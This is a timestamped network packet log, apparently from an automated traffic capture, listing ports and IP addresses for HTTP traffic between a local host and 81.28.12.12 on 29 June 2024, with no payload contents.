Jun 29, 2024 08:05:14.401669979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.401679039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.401704073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.401732922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.403137922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403211117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403223038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403239012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403244019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.403251886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403271914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.403311014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.403321028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403331995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403347969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.403362989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.403405905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.404047012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404088974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404099941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404118061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.404149055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.404165983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.404166937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404177904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404187918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404198885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404218912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.404261112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.404938936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.404989958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.405000925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.405029058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.405057907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.405091047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.405102968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.405116081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.405127048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.405144930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.405173063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.406644106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.406661034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.406675100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.406702995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.406743050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.406744003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.406754971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.406783104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.406788111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.406793118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.406810045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.406837940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.407433033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407465935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407474995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407494068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.407525063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.407536983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407547951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407557011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407567978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407586098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.407614946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.407615900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.407682896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.409090996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409120083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409127951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409157038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.409185886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.409219027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409228086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409239054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409251928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409261942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409276009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.409306049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.409959078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409966946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.409981966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410015106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410051107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410058975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410062075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410072088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410103083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410132885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410137892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410147905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410192013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410758972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410774946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410819054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410826921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410870075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410877943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410887957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410897970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410924911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410963058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.410972118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.410981894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.411019087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.412682056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.412736893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.412739992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.412746906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.412781954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.412796021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.412806988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.412806988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.412817001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.412827969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.412847996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.412880898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.413369894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.413417101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.413427114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.413436890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.413446903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.413449049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.413479090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.413496971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.413513899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.413527012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.413551092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.413582087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.415297985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415307999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415318012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415358067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.415381908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415390968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415400028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415409088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415450096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.415483952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.415971041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415982008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.415992022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.416024923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.416032076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.416039944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.416062117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.416069031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.416073084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.416106939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.416134119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.488528013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488538980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488548040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488574982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488584995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488595963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488605022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488612890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.488679886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.488679886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.488694906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488746881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488750935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.488758087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488805056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.488838911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488848925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488858938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488889933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.488919973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.488920927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.489192009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.490524054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490533113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490541935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490597963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.490598917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490609884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490619898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490631104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490634918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.490695953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.490732908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.490732908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.490770102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.491239071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491250992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491255999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491266012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491317034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.491333008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491337061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.491343975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491385937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.491405010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491414070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.491460085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493089914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493100882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493109941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493138075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493149042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493191957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493196011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493202925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493243933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493273973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493282080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493292093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493330956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493369102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493829012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493884087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493886948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493894100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493937016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493971109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.493982077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.493985891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494014025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494024038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494024038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494033098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494045019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494071960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494098902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494692087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494724035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494745970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494775057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494812965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494863033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494877100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494887114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494896889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494924068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494945049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.494946957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494956970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.494988918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.495017052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.496828079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.496846914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.496855974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.496906996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.496936083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.496989012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.496999025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497008085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497018099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497042894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.497071028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.497581005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497596979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497606993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497652054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497654915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.497684002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.497736931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497741938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.497749090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497760057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497767925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.497787952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.497821093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.498869896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.498881102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.498891115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.498944998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.498949051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.498959064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.498967886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.498969078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.498995066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499027014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.499059916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.499648094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499659061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499669075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499711037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.499739885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.499742985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499752998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499763012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499772072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.499799013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.499834061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.500446081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500493050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500503063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500528097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.500560045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.500567913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500579119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500587940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500597000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500607014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.500624895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.500655890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.502286911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502341032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502351046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502362967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.502413034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.502413034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.502413988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502425909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502435923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502445936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502454042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.502475977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.502505064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.503146887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.503156900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.503166914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.503204107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.503233910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.503271103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.503283024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.503290892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.503302097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.503345013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.503345013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505023956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505033970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505043983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505084038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505089045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505105019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505115032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505119085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505125046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505155087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505184889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505800009 CEST	80	49731	81.28.12.12	192.168.2.4
